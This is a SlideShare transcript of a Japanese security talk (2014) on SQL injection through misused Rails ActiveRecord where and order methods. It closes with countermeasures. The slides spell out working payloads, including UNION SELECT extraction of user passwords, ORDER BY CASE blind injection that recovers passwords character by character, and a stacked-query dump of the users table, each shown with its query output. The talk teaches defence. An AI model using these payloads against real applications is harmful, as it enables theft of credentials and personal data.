×
  • Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
 

Rails SQL Injection Examplesの紹介

on

  • 0 views

 

Statistics

Views

Total Views
0
Views on SlideShare
0
Embed Views
0

Actions

Likes
1
Downloads
0
Comments
0

0 Embeds 0

No embeds

Accessibility

Upload Details

Uploaded via SlideShare as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Rails SQL Injection Examplesの紹介 Rails SQL Injection Examplesの紹介 Presentation Transcript

    • Rails SQL Injection Examplesの紹介 2014年6月11日 徳丸 浩
    • Rails SQL Injection Examplesとは Copyright © 2010-2014 HASH Consulting Corp. 2
    • Rails SQL Injection Examplesとは 3http://rails-sqli.org/ より引用 Ruby on Railsの ActiveRecordのメソッド やオプションの指定方法 の誤りによるSQLインジェ クションのサンプル集
    • Example1:whereメソッド 4http://rails-sqli.org/ より引用
    • whereメソッドの用途と注意点 • SQLのWHERE句を「生で」指定できる • 文字列連結でWHERE句を組み立てると、普通 にSQLインジェクション脆弱となる • 正しくはプレイスホルダを使う(後述) • 前述の例は認証回避の例だが…飽きたw Copyright © 2010-2014 HASH Consulting Corp. 5
    • 脆弱性のあるアプリケーション Copyright © 2010-2014 HASH Consulting Corp. 6 @books = Book.where( "publish = '#{params[:publish]}' AND price >= #{params[:price]}") 山田 祥寛 (著) Ruby on Rails 4 アプリケーションプログラミング 技術評論社 (2014/4/11) に脆弱性を加えましたw ※元本に脆弱性があるわけではありません
    • UNION SELECTにより個人情報を窃取 Copyright © 2010-2014 HASH Consulting Corp. 7 priceに以下を入れる 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at,updated_at FROM users -- SELECT “books”.* FROM “books” WHERE (publish =’’ AND price >= 1) UNION SELECT id,userid,passwd,null,mail,null,false,created_at, updated_at FROM users --)
    • 対策 プレースホルダ 8Ruby on Rails 4 アプリケーションプログラミング、山田 祥寛より引用
    • Example2: orderメソッド 9http://rails-sqli.org/ より引用
    • ORDER BY (CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 else 1 END) ASC って? • ORDER BY の後には式が書ける • 以下のSQL文は算数と国語の点数の合計でソートす る – SELECT * FROM 成績 ORDER BY (算数+国語) • 以下の式は、password列の一文字目が s なら 0 そうでなければ 1 を返す – CASE SUBSTR(password, 1, 1) WHEN 's' THEN 0 ELSE 1 END • よって、このORDER BYは、「パスワードの一文字目 が s」の利用者を先頭に集めるソート…だが、しかし Copyright © 2010-2014 HASH Consulting Corp. 10
    • どういうページを想定しているのか? Copyright © 2010-2014 HASH Consulting Corp. 11 こういうページですか? わかりません (>_<) これでは、 元々が個人情 報漏えいだw
    • とは言え、やってみた Copyright © 2010-2014 HASH Consulting Corp. 12 # SELECT "users".* FROM "users" ORDER BY (CASE SUBSTR(passwd, 1, 1) WHEN 'a' THEN 0 else 1 END) asc; id | userid | passwd | tel | mail ----+-----------+--------+--------------+--------------------- 1 | tanaka | abcd | 03-1234-5678 | tanaka@example.jp 2 | yamada | aaaa | 06-2345-6789 | yamada@example.jp 3 | ockeghem | dcba | 045-678-9012 | ockeghem@example.jp 4 | takahashi | cdcd | 099-123-4567 | takahashi@exmaple.jp パスワードの一文字目が「a」は、実際には2件該当している http://ror4:3000/users?order=(C ASE+SUBSTR(passwd,1,1)+WH EN+'a'+THEN+0+else+1+END) パスワードの一文字目が「a」のも のを先頭に持ってきたが、何件該 当するかが分からない。0件の可 能性もある
    • 課題は二つ • 個人情報の一覧ページがあり、ソート順を指定で きるという想定が現実的でない • 特定のソート条件は指定できるが、該当件数が わからない Copyright © 2010-2014 HASH Consulting Corp. 13
    • 改良1: 別の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 14
    • 書籍の一覧と個人情報をマップする Copyright © 2010-2014 HASH Consulting Corp. 15 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by passwd; id | title | userid | passwd ----+------------------------------------+-----------+------- 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 4 | 書き込み式SQLのドリル | takahashi | cdcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba
    • ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 16 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); (select case when userid='ockeghem' then 0 -- userid='ockeghem' を先頭に else 1 -- その他は後ろに end from users where books.id=users.id) ORDER BY の副問い合わせ
    • userid=ockeghemと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 17 # SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case when userid='ockeghem' then 0 else 1 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd 先頭行がuserid=ockeghemに対応
    • 改良2: セパレータとなる行を挟む Copyright © 2010-2014 HASH Consulting Corp. 18
    • ORDER BYの副問い合わせ Copyright © 2010-2014 HASH Consulting Corp. 19 =# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); (select case userid when 'tanaka' then 0 -- 'tanaka' を先頭に when 'ockeghem' then 1 -- 'ockeghem' はセパレータ else 2 -- その他は後ろに end from users where books.id=users.id) ※セパレータがないと、'tanaka'が存在しない場合を区別できない ORDER BY の副問い合わせ
    • userid=tanakaと対応する行を見つける Copyright © 2010-2014 HASH Consulting Corp. 20 wasbook=# SELECT books.id, books.title, users.userid, users.passwd FROM books, users WHERE books.id=users.id order by (select case userid when 'tanaka' then 0 when 'ockeghem' then 1 else 2 end from users where books.id=users.id); id | title | userid | passwd ----+------------------------------------+-----------+-------- 1 | AndroidエンジニアのためのモダンJava | tanaka | abcd 3 | Ruby on Rails 4ポケットリファレンス | ockeghem | dcba 2 | JavaScriptライブラリ実践活用 | yamada | aaaa 4 | 書き込み式SQLのドリル | takahashi | cdcd userid=ockeghemをセパレータに
    • デモを見やすくするために書籍タイトルにユーザ名を併記 Copyright © 2010-2014 HASH Consulting Corp. 21 ※デモを見やすくするための表示であり、「改ざん」をするという想定ではありません 辞書攻撃で発 見したユーザ
    • パスワードに対する辞書攻撃(1) Copyright © 2010-2014 HASH Consulting Corp. 22 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='abcd' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='abcd' then 0 -- passwd='abcd' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaのパスワードがabcdと判明
    • パスワードに対する辞書攻撃(2) Copyright © 2010-2014 HASH Consulting Corp. 23 SELECT "books".* FROM "books" ORDER BY (select case when userid='ockeghem' then 1 when passwd='bcda' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when passwd='bcda' then 0 -- passwd='bcda' を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに passwd=bcda は存在しないことが判明
    • 一文字ずつ試行するブラインドSQL インジェクション Copyright © 2010-2014 HASH Consulting Corp. 24
    • パスワードの1文字目が a の利用者を探す Copyright © 2010-2014 HASH Consulting Corp. 25 select id, title from books order by (select case when userid='ockeghem' then 1 when SUBSTR(passwd,1,1)='a' then 0 else 2 end from users where books.id=users.id) asc select case when userid='ockeghem' then 1 -- セパレータ when SUBSTR(passwd,1,1)='a' then 0 –- 1文字目が a を先頭に else 2 end from users where books.id=users.id userid=ockeghemをセパレータに tanakaとyamadaのパスワード 1文字目がaと判明
    • 1回の試行で1種類の文字チェック しかできないのは不効率だが… Copyright © 2010-2014 HASH Consulting Corp. 26
    • セパレータを増やせば、一度に多く の文字をチェック可能 Copyright © 2010-2014 HASH Consulting Corp. 27
    • aaaa, bbbb, cccc, ddddの4ユーザを登録 Copyright © 2010-2014 HASH Consulting Corp. 28 (select case userid when 'aaaa' then 0 when 'bbbb' then 1 when 'cccc' then 2 when 'dddd' then 3 else 4 end from users where books.id=users.id)
    • パスワードの一文字目をまとめてクエリ Copyright © 2010-2014 HASH Consulting Corp. 29 (SELECT CASE WHEN userid='aaaa' THEN 1 WHEN userid='bbbb' THEN 3 WHEN userid='cccc' THEN 5 WHEN userid='dddd' THEN 7 WHEN SUBSTR(passwd,1,1)='a' THEN 0 WHEN SUBSTR(passwd,1,1)='b' THEN 2 WHEN SUBSTR(passwd,1,1)='c' THEN 4 WHEN SUBSTR(passwd,1,1)='d' THEN 6 ELSE 99 END FROM users WHERE books.id=users.id) ※ 簡単化のためパスワードは a~d 4文字で構成とする
    • パスワードの1文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 30 tanakaとyamadaのパスワード 1文字目がaと判明 takahashiのパスワード1文字目がcと判明 ockeghemのパスワード1文字目がdと判明 tanaka a*** yamada a*** takahashi c*** ockeghem d***
    • パスワードの2文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 31 takahashiのパスワード2文字目がdと判明 ockeghemのパスワード2文字目がcと判明 tanaka ab** yamada aa** takahashi cd** ockeghem dc** tanakaのパスワード2文字目がbと判明 yamadaのパスワード2文字目がaと判明
    • パスワードの3文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 32 tanakaとtakahashiのパスワード 3文字目がcと判明 yamadaのパスワード3文字目がaと判明 ockeghemのパスワード3文字目がbと判明 tanaka abc* yamada aaa* takahashi cdc* ockeghem dcb*
    • パスワードの4文字目を探索 Copyright © 2010-2014 HASH Consulting Corp. 33 ockeghemとyamadaのパスワ ード1文字目がaと判明 tanaka abcd yamada aaaa takahashi cdcd ockeghem dcba tamalaとtakahashiのパスワー ド4文字目が d と判明
    • もっと簡単な方法はないのか? Copyright © 2010-2014 HASH Consulting Corp. 34
    • UNION(not ONION) は? Copyright © 2010-2014 HASH Consulting Corp. 35
    • ORDER BYの後にUNIONは使えない Copyright © 2010-2014 HASH Consulting Corp. 36 PG::SyntaxError: ERROR: "UNION"またはその近辺で構文エラー LINE 1: SELECT "books".* FROM "books" ORDER BY title UNION SELECT ... ^ : SELECT "books".* FROM "books" ORDER BY title UNION SELECT * FROM users -- asc
    • PostgreSQLの場合、複文は使え ないか? Copyright © 2010-2014 HASH Consulting Corp. 37
    • やはりエラーになる Copyright © 2010-2014 HASH Consulting Corp. 38 missing attribute: isbn SELECT "books".* FROM "books" ORDER BY title;SELECT * FROM users -- asc
    • しかし、missing attribute: isbn なら、別名として与えてやれば… Copyright © 2010-2014 HASH Consulting Corp. 39
    • ユーザー情報の窃取に成功 Copyright © 2010-2014 HASH Consulting Corp. 40 SELECT "books".* FROM "books" ORDER BY title;SELECT id,userid AS isbn,passwd AS title,1 AS price,mail AS publish,null AS published,false AS cd FROM users-- asc
    • 対策 Copyright © 2010-2014 HASH Consulting Corp. 42
    • 表名、列名によるSQLインジェクションの対策 • 以下のいずれか、あるいは複数を実施 • 列名をクォート&エスケープする • 列名が許可されたものかどうかを検査する – いわゆるホワイトリスト検査 • 列を数字で指定して、内部で列名に変換する Copyright © 2010-2014 HASH Consulting Corp. 43
    • 列名をシンボルに変換すると、クォート&エスケープされるが Copyright © 2010-2014 HASH Consulting Corp. 44 SELECT "books".* FROM "books" ORDER BY "books"."title""a" ASC def index p = params[:order].to_sym @books = p ? Book.order(p) : Book.all end
    • ユーザ入力を無条件にシンボルに変換するのはまずい • シンボルはGCで回収されない • 外部から任意のシンボルを作れる場合、非常に多数のシンボルを作ら れるとメモリを過度に消費してしまう • 類似の例にCVE-2014-0082がある • 列名のホワイトリスト検査と併用ならば可(シンボル数が抑制される) Copyright © 2010-2014 HASH Consulting Corp. 45 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-001439.html より引用
    • まとめ • Ruby on RailsのActiveRecordの使い方に起因するSQLイン ジェクションを紹介 • ActiveRecordのメソッドには、与えられた文字列が「そのま ま」SQL文に展開されるものがある • 値パラメータについてはプレースホルダを活用 • 表名、列名、キーワードについては以下のいずれかを行う – 表名、列名、キーワードのホワイトリスト検査 – 外部では番号で指定して、内部で表名、列名、キーワード等に変換 する • SQL識別子のクォート&エスケープをさせる目的で、Rubyの 識別子を積極的に活用することの是非については有識者の ご意見をお伺いしたいです Copyright © 2010-2014 HASH Consulting Corp. 46